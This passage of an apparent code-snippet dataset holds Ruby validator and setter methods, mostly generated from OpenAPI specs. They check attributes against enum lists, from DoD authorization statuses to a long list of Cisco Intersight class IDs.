999\n return false if !@resolution_hours.nil? && @resolution_hours < 0\n return false if !@resolution_percent.nil? && @resolution_percent > 99999\n return false if !@resolution_percent.nil? && @resolution_percent < 0\n return true\n end",
"def valid?\n policy_validator = EnumAttributeValidator.new('Object', ['RMF', 'DIACAP', 'Reporting'])\n return false unless policy_validator.valid?(@policy)\n registration_type_validator = EnumAttributeValidator.new('Object', ['Assess and Authorize', 'Assess Only', 'Guest', 'Regular', 'Functional', 'Cloud Service Provider'])\n return false unless registration_type_validator.valid?(@registration_type)\n organization_name_validator = EnumAttributeValidator.new('Object', ['Army', 'Navy', 'Air Force', 'Marines', 'DoD', 'Defense Information Systems Agency'])\n return false unless organization_name_validator.valid?(@organization_name)\n system_type_validator = EnumAttributeValidator.new('Object', ['IS Major Application', 'IS Enclave', 'Platform IT', 'Platform IT System', 'Interconnection', 'AIS Application'])\n return false unless system_type_validator.valid?(@system_type)\n authorization_status_validator = EnumAttributeValidator.new('Object', ['Authority to Operate (ATO)', 'Interim Authority to Operate (IATO)', 'Interim Authority to Test (IATT)', 'Authority to Operate with Conditions (ATO) w/Conditions)', 'Denied Authority to Operate (DATO)', 'Not Yet Authorized', 'Unaccredited', 'Decommissioned'])\n return false unless authorization_status_validator.valid?(@authorization_status)\n confidentiality_validator = EnumAttributeValidator.new('Object', ['High', 'Moderate', 'Low'])\n return false unless confidentiality_validator.valid?(@confidentiality)\n integrity_validator = EnumAttributeValidator.new('Object', ['High', 'Moderate', 'Low'])\n return false unless integrity_validator.valid?(@integrity)\n availability_validator = EnumAttributeValidator.new('Object', ['High', 'Moderate', 'Low'])\n return false unless availability_validator.valid?(@availability)\n mac_validator = EnumAttributeValidator.new('Object', ['I', 'II', 'III'])\n return false unless mac_validator.valid?(@mac)\n dod_confidentiality_validator = EnumAttributeValidator.new('Object', ['Public', 'Sensitive', 'Classified'])\n return false unless dod_confidentiality_validator.valid?(@dod_confidentiality)\n true\n end",
"def enum?\n false\n end",
"def unassignable_value_for(attr)\n case attr.type\n when :integer\n attr.assignable_values.max + 1\n when :string\n assignable_value_for(attr) + '-unassignable'\n else\n raise \"Assignable values for :#{attr.type} attributes not supported\"\n end\n end",
"def define_value_methods!\n self.accepted_values.each do |(name, bit)|\n self.meta_class.class_eval <<-FLAG_METHODS\n\n def #{name}\n ((@value || 0) & #{bit}) != 0\n end\n alias :#{name}? :#{name}\n\n def #{name}=(new_value)\n boolean = self.to_boolean(new_value)\n current = self.#{name}\n if boolean ^ current\n self.value = ((@value || 0) ^ #{bit})\n end\n self.#{name}\n end\n\n FLAG_METHODS\n end\n end",
"def replace_enumerations_in_hash(attrs, allow_multiple = true) #:nodoc:\n attrs.each do |attr, value|\n if options = enumerator_options_for(attr, value, allow_multiple)\n attrs.delete(attr)\n attrs.merge!(options)\n end\n end\n end",
"def update_enum_attribute(database_id:, collection_id:, key:, elements:, required:, default:)\n path = '/databases/{databaseId}/collections/{collectionId}/attributes/enum/{key}'\n .gsub('{databaseId}', database_id)\n .gsub('{collectionId}', collection_id)\n .gsub('{key}', key)\n\n if database_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"databaseId\"')\n end\n\n if collection_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"collectionId\"')\n end\n\n if key.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"key\"')\n end\n\n if elements.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"elements\"')\n end\n\n if required.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"required\"')\n end\n\n if default.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"default\"')\n end\n\n params = {\n elements: elements,\n required: required,\n default: default,\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'PATCH',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::AttributeEnum\n )\n end",
"def as_enum\n # Should look like:\n # enum attribute_name: [\"one\", \"two\"]\n\n if is_enum?\n if (enum_options = properties[:enum_options]).present?\n enum_options_as_hash = Frontier::HashSingleLineDecorator.new array_as_hash(enum_options)\n \"enum #{name}: {#{enum_options_as_hash}}\"\n else\n raise(ArgumentError, \"No enum_options provided for attribute: #{name}\")\n end\n else\n raise(ArgumentError, \"Attempting to display field #{name} as enum, but is #{type}\")\n end\n end",
"def validate_marital_status(val)\n unless @valid_marital_statuses.include?(val)\n raise \"Invalid value: #{val}\"\n end\n end",
"def validate_marital_status(val)\n unless @valid_marital_statuses.include?(val)\n raise \"Invalid value: #{val}\"\n end\n end",
"def enumeration?\n @is_enumeration ||= @xml.xpath('./xs:restriction/xs:enumeration', {'xs' => 'http://www.w3.org/2001/XMLSchema'}).length > 0\n end",
"def pa_esigibilita=(pa_esigibilita)\n validator = EnumAttributeValidator.new('String', ['I', 'D', 'S', 'N'])\n unless validator.valid?(pa_esigibilita)\n fail ArgumentError, 'invalid value for \"pa_esigibilita\", must be one of #{validator.allowable_values}.'\n end\n @pa_esigibilita = pa_esigibilita\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['Once', 'Hourly', 'Daily', 'Weekly', 'Monthly', 'Yearly'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def validate_allowed(record)\n unknown = provided(record) - allowed\n\n return if unknown.empty?\n\n record.errors.add(\n options[:attribute],\n \"contains unknown options: #{unknown.join(', ')}\"\n )\n end",
"def valid?\n source_validator = EnumAttributeValidator.new('Integer', [\"1\", \"2\"])\n return false unless source_validator.valid?(@source)\n return true\n end",
"def valid?(value)\n return false if self == Enum\n return true if value.equal?(LAZY_VALUE)\n self.values.include?(value.to_s)\n end",
"def smee=(smee)\n validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n unless validator.valid?(smee)\n fail ArgumentError, \"invalid value for \\\"smee\\\", must be one of #{validator.allowable_values}.\"\n end\n @smee = smee\n end",
"def allowed_status\n errors.add(:string, 'must be pending, accepted or declined.') unless %w[pending accepted declined].any?(status)\n end",
"def define_active_enum_write_method_multiple(attribute, column)\n class_eval <<-DEF\n def #{attribute}=(args)\n self.#{column} = args.map do |arg|\n self.class.active_enum_get_id_for_#{attribute}(arg)\n end\n end\n DEF\n end",
"def valid?\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', [\"alert\", \"notification\"])\n return false unless type_validator.valid?(@type)\n priority_validator = EnumAttributeValidator.new('String', [\"P1\", \"P2\", \"P3\", \"P4\", \"P5\"])\n return false unless priority_validator.valid?(@priority)\n return true\n end",
"def has_enums?\n !!eh_params[:has_enums]\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', ['active', 'notActive', 'unknown'])\n unless validator.valid?(type)\n fail ArgumentError, %Q'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"def level=(level)\n validator = EnumAttributeValidator.new('String', [\"Unknown\", \"Inline\", \"Block\", \"Row\", \"Cell\"])\n if level.to_i == 0\n unless validator.valid?(level)\n raise ArgumentError, \"invalid value for 'level', must be one of #{validator.allowable_values}.\"\n end\n @level = level\n else\n @level = validator.allowable_values[level.to_i]\n end\n end",
"def mode=(mode)\n validator = EnumAttributeValidator.new('String', [\"default\", \"custom\"])\n unless validator.valid?(mode)\n fail ArgumentError, \"invalid value for 'mode', must be one of #{validator.allowable_values}.\"\n end\n @mode = mode\n end",
"def valid?\n type_validator = EnumAttributeValidator.new('String', ['active', 'notActive', 'unknown'])\n return false unless type_validator.valid?(@type)\n true\n end",
"def allowed_access_levels\n validator = lambda do |field|\n level = public_send(field) || ENABLED # rubocop:disable GitlabSecurity/PublicSend\n not_allowed = level > ENABLED\n self.errors.add(field, \"cannot have public visibility level\") if not_allowed\n end\n\n (FEATURES - %i(pages)).each {|f| validator.call(\"#{f}_access_level\")}\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', [\"Paragraph\", \"Character\", \"Table\", \"List\"])\n if type.to_i == 0\n unless validator.valid?(type)\n raise ArgumentError, \"invalid value for 'type', must be one of #{validator.allowable_values}.\"\n end\n @type = type\n else\n @type = validator.allowable_values[type.to_i]\n end\n end",
"def legal_entity_type=(legal_entity_type)\n validator = EnumAttributeValidator.new('String', [\"sole_proprietorship\", \"partnership\", \"privately_owned_company\", \"publicly_owned_company\", \"government_owned_entity\", \"trust\", \"ngo\", \"club_and_society\", \"go\", \"other\", \"financial_institution\", \"mto\"])\n unless validator.valid?(legal_entity_type) || legal_entity_type.empty?\n fail ArgumentError, \"invalid value for \\\"legal_entity_type\\\", must be one of #{validator.allowable_values}.\"\n end\n @legal_entity_type = legal_entity_type\n end",
"def all_attributes_exists_with_enumerations?(attribute_names)\n exists = all_attributes_exists_without_enumerations?(attribute_names)\n exists ||= attribute_names.all? do |name|\n column_methods_hash.include?(name.to_sym) || reflect_on_enumeration(name)\n end\n end",
"def valid_setters\n methods = ScheduledActivity.instance_methods\n @valid_setters ||= methods.select do |m|\n methods.include?(:\"#{m}=\")\n end\n end",
"def type=(type)\n validator = EnumAttributeValidator.new('String', [\"Weekly\", \"BiWeekly\", \"SemiMonthly\", \"Monthly\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for 'type', must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"def valid?\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', [\"ITEM\", \"CATEGORY\", \"ITEM_VARIATION\", \"TAX\", \"DISCOUNT\", \"MODIFIER_LIST\", \"MODIFIER\"])\n return false unless type_validator.valid?(@type)\n return false if @id.nil?\n return false if @id.to_s.length < 1\n return true\n end",
"def valid?\n return false if @value.nil?\n change_mode_validator = EnumAttributeValidator.new('String', [\"immediate\", \"delayed\"])\n return false unless change_mode_validator.valid?(@change_mode)\n invoicing_type_validator = EnumAttributeValidator.new('String', [\"Immediate\", \"Aggregated\"])\n return false unless invoicing_type_validator.valid?(@invoicing_type)\n return true\n end",
"def valid?\n type_validator = EnumAttributeValidator.new('String', [\"person\", \"business\"])\n return false unless type_validator.valid?(@type)\n return false if @country.nil?\n return false if @street.nil?\n return false if @postal_code.nil?\n return false if @city.nil?\n return false if @email.nil?\n return false if @ip.nil?\n identification_type_validator = EnumAttributeValidator.new('String', [\"DL\", \"PP\", \"ID\", \"OT\"])\n return false unless identification_type_validator.valid?(@identification_type)\n legal_entity_type_validator = EnumAttributeValidator.new('String', [\"sole_proprietorship\", \"partnership\", \"privately_owned_company\", \"publicly_owned_company\", \"government_owned_entity\", \"trust\", \"ngo\", \"club_and_society\", \"go\", \"other\", \"financial_institution\", \"mto\"])\n return false unless legal_entity_type_validator.valid?(@legal_entity_type)\n nature_of_business_validator = EnumAttributeValidator.new('String', [\"personal\", \"agriculture_and_hunting\", \"forestry\", \"fishing\", \"agricultural_by_products\", \"coal_mining\", \"oil_mining\", \"iron_ore_mining\", \"other_metal_and_diamond_mining\", \"other_mineral_mining\", \"manufacturing_of_food_drink_tobacco\", \"manufacturing_of_textiles_leather_fur_furniture\", \"manufacture_of_wooden_products_furniture\", \"manufacture_of_paper_pulp_allied_products\", \"manufacture_of_chemicals_medical_petroleum_rubber_plastic_products\", \"manufacture_of_pottery_china_glass_stone\", \"manufacture_of_iron_steel_non_ferrous_metals_basic_industries\", \"manufacture_of_metal_products_electrical_and_scientific_engineering\", \"manufacture_of_jewelry_musical_instruments_toys\", \"electricity_gas_and_water\", \"construction\", \"wholesale_trade\", \"retail_trade\", \"catering_incl_hotels\", \"transport_storage\", \"communications\", \"finance_and_holding_companies\", \"insurance\", \"business_services\", \"real_estate_development_investment\", \"central_state_governments\", \"community_services_defence_police_prisons_etc\", \"social_services_education_health_care\", \"personal_services_leisure_services\", \"personal_services_domestic_laundry_repairs\", \"personal_services_embassies_international_organisations\"])\n return false unless nature_of_business_validator.valid?(@nature_of_business)\n return false if @documents.nil?\n gender_validator = EnumAttributeValidator.new('String', [\"M\", \"F\", \"O\"])\n return false unless gender_validator.valid?(@gender)\n true\n end",
"def class_id=(class_id)\n validator = EnumAttributeValidator.new('String', [\"aaa.AuditRecord\", \"aaa.RetentionConfig\", \"aaa.RetentionPolicy\", \"access.Policy\", \"adapter.ConfigPolicy\", \"adapter.ExtEthInterface\", \"adapter.HostEthInterface\", \"adapter.HostFcInterface\", \"adapter.HostIscsiInterface\", \"adapter.Unit\", \"adapter.UnitExpander\", \"appliance.AppStatus\", \"appliance.AutoRmaPolicy\", \"appliance.Backup\", \"appliance.BackupPolicy\", \"appliance.CertificateSetting\", \"appliance.DataExportPolicy\", \"appliance.DeviceCertificate\", \"appliance.DeviceClaim\", \"appliance.DeviceUpgradePolicy\", \"appliance.DiagSetting\", \"appliance.ExternalSyslogSetting\", \"appliance.FileGateway\", \"appliance.FileSystemStatus\", \"appliance.GroupStatus\", \"appliance.ImageBundle\", \"appliance.NodeInfo\", \"appliance.NodeStatus\", \"appliance.ReleaseNote\", \"appliance.RemoteFileImport\", \"appliance.Restore\", \"appliance.SetupInfo\", \"appliance.SystemInfo\", \"appliance.SystemStatus\", \"appliance.Upgrade\", \"appliance.UpgradePolicy\", \"asset.ClusterMember\", \"asset.Deployment\", \"asset.DeploymentDevice\", \"asset.DeviceClaim\", \"asset.DeviceConfiguration\", \"asset.DeviceConnectorManager\", \"asset.DeviceContractInformation\", \"asset.DeviceRegistration\", \"asset.Subscription\", \"asset.SubscriptionAccount\", \"asset.SubscriptionDeviceContractInformation\", \"asset.Target\", \"bios.BootDevice\", \"bios.BootMode\", \"bios.Policy\", \"bios.SystemBootOrder\", \"bios.TokenSettings\", \"bios.Unit\", \"bios.VfSelectMemoryRasConfiguration\", \"boot.CddDevice\", \"boot.DeviceBootMode\", \"boot.DeviceBootSecurity\", \"boot.HddDevice\", \"boot.IscsiDevice\", \"boot.NvmeDevice\", \"boot.PchStorageDevice\", \"boot.PrecisionPolicy\", \"boot.PxeDevice\", \"boot.SanDevice\", \"boot.SdDevice\", \"boot.UefiShellDevice\", \"boot.UsbDevice\", \"boot.VmediaDevice\", \"bulk.Export\", \"bulk.ExportedItem\", \"bulk.MoCloner\", \"bulk.MoMerger\", \"bulk.Request\", \"bulk.SubRequestObj\", \"capability.AdapterUnitDescriptor\", \"capability.Catalog\", \"capability.ChassisDescriptor\", \"capability.ChassisManufacturingDef\", \"capability.CimcFirmwareDescriptor\", \"capability.EquipmentPhysicalDef\", \"capability.EquipmentSlotArray\", \"capability.FanModuleDescriptor\", \"capability.FanModuleManufacturingDef\", \"capability.IoCardCapabilityDef\", \"capability.IoCardDescriptor\", \"capability.IoCardManufacturingDef\", \"capability.PortGroupAggregationDef\", \"capability.PsuDescriptor\", \"capability.PsuManufacturingDef\", \"capability.ServerSchemaDescriptor\", \"capability.SiocModuleCapabilityDef\", \"capability.SiocModuleDescriptor\", \"capability.SiocModuleManufacturingDef\", \"capability.SwitchCapability\", \"capability.SwitchDescriptor\", \"capability.SwitchManufacturingDef\", \"certificatemanagement.Policy\", \"chassis.ConfigChangeDetail\", \"chassis.ConfigImport\", \"chassis.ConfigResult\", \"chassis.ConfigResultEntry\", \"chassis.IomProfile\", \"chassis.Profile\", \"cloud.AwsBillingUnit\", \"cloud.AwsKeyPair\", \"cloud.AwsNetworkInterface\", \"cloud.AwsOrganizationalUnit\", \"cloud.AwsSecurityGroup\", \"cloud.AwsSubnet\", \"cloud.AwsVirtualMachine\", \"cloud.AwsVolume\", \"cloud.AwsVpc\", \"cloud.CollectInventory\", \"cloud.Regions\", \"cloud.SkuContainerType\", \"cloud.SkuDatabaseType\", \"cloud.SkuInstanceType\", \"cloud.SkuNetworkType\", \"cloud.SkuRegionRateCards\", \"cloud.SkuVolumeType\", \"cloud.TfcAgentpool\", \"cloud.TfcOrganization\", \"cloud.TfcWorkspace\", \"comm.HttpProxyPolicy\", \"compute.BiosPostPolicy\", \"compute.Blade\", \"compute.BladeIdentity\", \"compute.Board\", \"compute.Mapping\", \"compute.PhysicalSummary\", \"compute.RackUnit\", \"compute.RackUnitIdentity\", \"compute.ServerPowerPolicy\", \"compute.ServerSetting\", \"compute.Vmedia\", \"cond.Alarm\", \"cond.AlarmAggregation\", \"cond.HclStatus\", \"cond.HclStatusDetail\", \"cond.HclStatusJob\", \"connectorpack.ConnectorPackUpgrade\", \"connectorpack.UpgradeImpact\", \"convergedinfra.HealthCheckDefinition\", \"convergedinfra.HealthCheckExecution\", \"convergedinfra.Pod\", \"crd.CustomResource\", \"deviceconnector.Policy\", \"equipment.Chassis\", \"equipment.ChassisIdentity\", \"equipment.ChassisOperation\", \"equipment.DeviceSummary\", \"equipment.ExpanderModule\", \"equipment.Fan\", \"equipment.FanControl\", \"equipment.FanModule\", \"equipment.Fex\", \"equipment.FexIdentity\", \"equipment.FexOperation\", \"equipment.Fru\", \"equipment.IdentitySummary\", \"equipment.IoCard\", \"equipment.IoCardOperation\", \"equipment.IoExpander\", \"equipment.LocatorLed\", \"equipment.Psu\", \"equipment.PsuControl\", \"equipment.RackEnclosure\", \"equipment.RackEnclosureSlot\", \"equipment.SharedIoModule\", \"equipment.SwitchCard\", \"equipment.SystemIoController\", \"equipment.Tpm\", \"equipment.Transceiver\", \"ether.HostPort\", \"ether.NetworkPort\", \"ether.PhysicalPort\", \"ether.PortChannel\", \"externalsite.Authorization\", \"fabric.AppliancePcRole\", \"fabric.ApplianceRole\", \"fabric.ConfigChangeDetail\", \"fabric.ConfigResult\", \"fabric.ConfigResultEntry\", \"fabric.ElementIdentity\", \"fabric.EstimateImpact\", \"fabric.EthNetworkControlPolicy\", \"fabric.EthNetworkGroupPolicy\", \"fabric.EthNetworkPolicy\", \"fabric.FcNetworkPolicy\", \"fabric.FcUplinkPcRole\", \"fabric.FcUplinkRole\", \"fabric.FcoeUplinkPcRole\", \"fabric.FcoeUplinkRole\", \"fabric.FlowControlPolicy\", \"fabric.LinkAggregationPolicy\", \"fabric.LinkControlPolicy\", \"fabric.MulticastPolicy\", \"fabric.PcMember\", \"fabric.PcOperation\", \"fabric.PortMode\", \"fabric.PortOperation\", \"fabric.PortPolicy\", \"fabric.ServerRole\", \"fabric.SwitchClusterProfile\", \"fabric.SwitchControlPolicy\", \"fabric.SwitchProfile\", \"fabric.SystemQosPolicy\", \"fabric.UplinkPcRole\", \"fabric.UplinkRole\", \"fabric.Vlan\", \"fabric.Vsan\", \"fault.Instance\", \"fc.PhysicalPort\", \"fc.PortChannel\", \"fcpool.FcBlock\", \"fcpool.Lease\", \"fcpool.Pool\", \"fcpool.PoolMember\", \"fcpool.Universe\", \"feedback.FeedbackPost\", \"firmware.BiosDescriptor\", \"firmware.BoardControllerDescriptor\", \"firmware.ChassisUpgrade\", \"firmware.CimcDescriptor\", \"firmware.DimmDescriptor\", \"firmware.Distributable\", \"firmware.DistributableMeta\", \"firmware.DriveDescriptor\", \"firmware.DriverDistributable\", \"firmware.Eula\", \"firmware.FirmwareSummary\", \"firmware.GpuDescriptor\", \"firmware.HbaDescriptor\", \"firmware.IomDescriptor\", \"firmware.MswitchDescriptor\", \"firmware.NxosDescriptor\", \"firmware.PcieDescriptor\", \"firmware.PsuDescriptor\", \"firmware.RunningFirmware\", \"firmware.SasExpanderDescriptor\", \"firmware.ServerConfigurationUtilityDistributable\", \"firmware.StorageControllerDescriptor\", \"firmware.SwitchUpgrade\", \"firmware.UnsupportedVersionUpgrade\", \"firmware.Upgrade\", \"firmware.UpgradeImpact\", \"firmware.UpgradeImpactStatus\", \"firmware.UpgradeStatus\", \"forecast.Catalog\", \"forecast.Definition\", \"forecast.Instance\", \"graphics.Card\", \"graphics.Controller\", \"hcl.CompatibilityStatus\", \"hcl.DriverImage\", \"hcl.ExemptedCatalog\", \"hcl.HyperflexSoftwareCompatibilityInfo\", \"hcl.OperatingSystem\", \"hcl.OperatingSystemVendor\", \"hcl.SupportedDriverName\", \"hyperflex.Alarm\", \"hyperflex.AppCatalog\", \"hyperflex.AutoSupportPolicy\", \"hyperflex.BackupCluster\", \"hyperflex.CapabilityInfo\", \"hyperflex.CiscoHypervisorManager\", \"hyperflex.Cluster\", \"hyperflex.ClusterBackupPolicy\", \"hyperflex.ClusterBackupPolicyDeployment\", \"hyperflex.ClusterBackupPolicyInventory\", \"hyperflex.ClusterHealthCheckExecutionSnapshot\", \"hyperflex.ClusterNetworkPolicy\", \"hyperflex.ClusterProfile\", \"hyperflex.ClusterReplicationNetworkPolicy\", \"hyperflex.ClusterReplicationNetworkPolicyDeployment\", \"hyperflex.ClusterStoragePolicy\", \"hyperflex.ConfigResult\", \"hyperflex.ConfigResultEntry\", \"hyperflex.DataProtectionPeer\", \"hyperflex.DatastoreStatistic\", \"hyperflex.DevicePackageDownloadState\", \"hyperflex.Drive\", \"hyperflex.ExtFcStoragePolicy\", \"hyperflex.ExtIscsiStoragePolicy\", \"hyperflex.FeatureLimitExternal\", \"hyperflex.FeatureLimitInternal\", \"hyperflex.Health\", \"hyperflex.HealthCheckDefinition\", \"hyperflex.HealthCheckExecution\", \"hyperflex.HealthCheckExecutionSnapshot\", \"hyperflex.HealthCheckPackageChecksum\", \"hyperflex.HxapCluster\", \"hyperflex.HxapDatacenter\", \"hyperflex.HxapDvUplink\", \"hyperflex.HxapDvswitch\", \"hyperflex.HxapHost\", \"hyperflex.HxapHostInterface\", \"hyperflex.HxapHostVswitch\", \"hyperflex.HxapNetwork\", \"hyperflex.HxapVirtualDisk\", \"hyperflex.HxapVirtualMachine\", \"hyperflex.HxapVirtualMachineNetworkInterface\", \"hyperflex.HxdpVersion\", \"hyperflex.License\", \"hyperflex.LocalCredentialPolicy\", \"hyperflex.Node\", \"hyperflex.NodeConfigPolicy\", \"hyperflex.NodeProfile\", \"hyperflex.ProtectedCluster\", \"hyperflex.ProxySettingPolicy\", \"hyperflex.ServerFirmwareVersion\", \"hyperflex.ServerFirmwareVersionEntry\", \"hyperflex.ServerModel\", \"hyperflex.ServiceAuthToken\", \"hyperflex.SoftwareDistributionComponent\", \"hyperflex.SoftwareDistributionEntry\", \"hyperflex.SoftwareDistributionVersion\", \"hyperflex.SoftwareVersionPolicy\", \"hyperflex.StorageContainer\", \"hyperflex.SysConfigPolicy\", \"hyperflex.UcsmConfigPolicy\", \"hyperflex.VcenterConfigPolicy\", \"hyperflex.VmBackupInfo\", \"hyperflex.VmImportOperation\", \"hyperflex.VmRestoreOperation\", \"hyperflex.VmSnapshotInfo\", \"hyperflex.Volume\", \"hyperflex.WitnessConfiguration\", \"iaas.ConnectorPack\", \"iaas.DeviceStatus\", \"iaas.DiagnosticMessages\", \"iaas.LicenseInfo\", \"iaas.MostRunTasks\", \"iaas.ServiceRequest\", \"iaas.UcsdInfo\", \"iaas.UcsdManagedInfra\", \"iaas.UcsdMessages\", \"iam.Account\", \"iam.AccountExperience\", \"iam.ApiKey\", \"iam.AppRegistration\", \"iam.BannerMessage\", \"iam.Certificate\", \"iam.CertificateRequest\", \"iam.DomainGroup\", \"iam.EndPointPrivilege\", \"iam.EndPointRole\", \"iam.EndPointUser\", \"iam.EndPointUserPolicy\", \"iam.EndPointUserRole\", \"iam.Idp\", \"iam.IdpReference\", \"iam.IpAccessManagement\", \"iam.IpAddress\", \"iam.LdapGroup\", \"iam.LdapPolicy\", \"iam.LdapProvider\", \"iam.LocalUserPassword\", \"iam.LocalUserPasswordPolicy\", \"iam.OAuthToken\", \"iam.Permission\", \"iam.PrivateKeySpec\", \"iam.Privilege\", \"iam.PrivilegeSet\", \"iam.Qualifier\", \"iam.ResourceLimits\", \"iam.ResourcePermission\", \"iam.ResourceRoles\", \"iam.Role\", \"iam.SecurityHolder\", \"iam.ServiceProvider\", \"iam.Session\", \"iam.SessionLimits\", \"iam.System\", \"iam.TrustPoint\", \"iam.User\", \"iam.UserGroup\", \"iam.UserPreference\", \"inventory.DeviceInfo\", \"inventory.DnMoBinding\", \"inventory.GenericInventory\", \"inventory.GenericInventoryHolder\", \"inventory.Request\", \"ipmioverlan.Policy\", \"ippool.BlockLease\", \"ippool.IpLease\", \"ippool.Pool\", \"ippool.PoolMember\", \"ippool.ShadowBlock\", \"ippool.ShadowPool\", \"ippool.Universe\", \"iqnpool.Block\", \"iqnpool.Lease\", \"iqnpool.Pool\", \"iqnpool.PoolMember\", \"iqnpool.Universe\", \"iwotenant.TenantStatus\", \"kubernetes.AciCniApic\", \"kubernetes.AciCniProfile\", \"kubernetes.AciCniTenantClusterAllocation\", \"kubernetes.AddonDefinition\", \"kubernetes.AddonPolicy\", \"kubernetes.AddonRepository\", \"kubernetes.BaremetalNodeProfile\", \"kubernetes.Catalog\", \"kubernetes.Cluster\", \"kubernetes.ClusterAddonProfile\", \"kubernetes.ClusterProfile\", \"kubernetes.ConfigResult\", \"kubernetes.ConfigResultEntry\", \"kubernetes.ContainerRuntimePolicy\", \"kubernetes.DaemonSet\", \"kubernetes.Deployment\", \"kubernetes.Ingress\", \"kubernetes.NetworkPolicy\", \"kubernetes.Node\", \"kubernetes.NodeGroupProfile\", \"kubernetes.Pod\", \"kubernetes.Service\", \"kubernetes.StatefulSet\", \"kubernetes.SysConfigPolicy\", \"kubernetes.TrustedRegistriesPolicy\", \"kubernetes.Version\", \"kubernetes.VersionPolicy\", \"kubernetes.VirtualMachineInfraConfigPolicy\", \"kubernetes.VirtualMachineInfrastructureProvider\", \"kubernetes.VirtualMachineInstanceType\", \"kubernetes.VirtualMachineNodeProfile\", \"kvm.Policy\", \"kvm.Session\", \"kvm.Tunnel\", \"license.AccountLicenseData\", \"license.CustomerOp\", \"license.IwoCustomerOp\", \"license.IwoLicenseCount\", \"license.LicenseInfo\", \"license.LicenseReservationOp\", \"license.SmartlicenseToken\", \"ls.ServiceProfile\", \"macpool.IdBlock\", \"macpool.Lease\", \"macpool.Pool\", \"macpool.PoolMember\", \"macpool.Universe\", \"management.Controller\", \"management.Entity\", \"management.Interface\", \"memory.Array\", \"memory.PersistentMemoryConfigResult\", \"memory.PersistentMemoryConfiguration\", \"memory.PersistentMemoryNamespace\", \"memory.PersistentMemoryNamespaceConfigResult\", \"memory.PersistentMemoryPolicy\", \"memory.PersistentMemoryRegion\", \"memory.PersistentMemoryUnit\", \"memory.Unit\", \"meta.Definition\", \"network.Element\", \"network.ElementSummary\", \"network.FcZoneInfo\", \"network.VlanPortInfo\", \"networkconfig.Policy\", \"niaapi.ApicCcoPost\", \"niaapi.ApicFieldNotice\", \"niaapi.ApicHweol\", \"niaapi.ApicLatestMaintainedRelease\", \"niaapi.ApicReleaseRecommend\", \"niaapi.ApicSweol\", \"niaapi.DcnmCcoPost\", \"niaapi.DcnmFieldNotice\", \"niaapi.DcnmHweol\", \"niaapi.DcnmLatestMaintainedRelease\", \"niaapi.DcnmReleaseRecommend\", \"niaapi.DcnmSweol\", \"niaapi.FileDownloader\", \"niaapi.NiaMetadata\", \"niaapi.NibFileDownloader\", \"niaapi.NibMetadata\", \"niaapi.VersionRegex\", \"niatelemetry.AaaLdapProviderDetails\", \"niatelemetry.AaaRadiusProviderDetails\", \"niatelemetry.AaaTacacsProviderDetails\", \"niatelemetry.ApicAppPluginDetails\", \"niatelemetry.ApicCoreFileDetails\", \"niatelemetry.ApicDbgexpRsExportDest\", \"niatelemetry.ApicDbgexpRsTsScheduler\", \"niatelemetry.ApicFanDetails\", \"niatelemetry.ApicFexDetails\", \"niatelemetry.ApicFlashDetails\", \"niatelemetry.ApicNtpAuth\", \"niatelemetry.ApicPsuDetails\", \"niatelemetry.ApicRealmDetails\", \"niatelemetry.ApicSnmpClientGrpDetails\", \"niatelemetry.ApicSnmpCommunityAccessDetails\", \"niatelemetry.ApicSnmpCommunityDetails\", \"niatelemetry.ApicSnmpTrapDetails\", \"niatelemetry.ApicSnmpTrapFwdServerDetails\", \"niatelemetry.ApicSnmpVersionThreeDetails\", \"niatelemetry.ApicSysLogGrp\", \"niatelemetry.ApicSysLogSrc\", \"niatelemetry.ApicTransceiverDetails\", \"niatelemetry.ApicUiPageCounts\", \"niatelemetry.AppDetails\", \"niatelemetry.CommonPolicies\", \"niatelemetry.DcnmFanDetails\", \"niatelemetry.DcnmFexDetails\", \"niatelemetry.DcnmModuleDetails\", \"niatelemetry.DcnmPsuDetails\", \"niatelemetry.DcnmTransceiverDetails\", \"niatelemetry.Epg\", \"niatelemetry.FabricModuleDetails\", \"niatelemetry.FabricPodProfile\", \"niatelemetry.FabricPodSs\", \"niatelemetry.Fault\", \"niatelemetry.HttpsAclContractDetails\", \"niatelemetry.HttpsAclContractFilterMap\", \"niatelemetry.HttpsAclEpgContractMap\", \"niatelemetry.HttpsAclEpgDetails\", \"niatelemetry.HttpsAclFilterDetails\", \"niatelemetry.Lc\", \"niatelemetry.MsoContractDetails\", \"niatelemetry.MsoEpgDetails\", \"niatelemetry.MsoSchemaDetails\", \"niatelemetry.MsoSiteDetails\", \"niatelemetry.MsoTenantDetails\", \"niatelemetry.NexusDashboardControllerDetails\", \"niatelemetry.NexusDashboardDetails\", \"niatelemetry.NexusDashboardMemoryDetails\", \"niatelemetry.NexusDashboards\", \"niatelemetry.NiaFeatureUsage\", \"niatelemetry.NiaInventory\", \"niatelemetry.NiaInventoryDcnm\", \"niatelemetry.NiaInventoryFabric\", \"niatelemetry.NiaLicenseState\", \"niatelemetry.PasswordStrengthCheck\", \"niatelemetry.PodCommPolicies\", \"niatelemetry.PodSnmpPolicies\", \"niatelemetry.PodTimeServerPolicies\", \"niatelemetry.SiteInventory\", \"niatelemetry.SnmpSrc\", \"niatelemetry.SshVersionTwo\", \"niatelemetry.SupervisorModuleDetails\", \"niatelemetry.SyslogRemoteDest\", \"niatelemetry.SyslogSysMsg\", 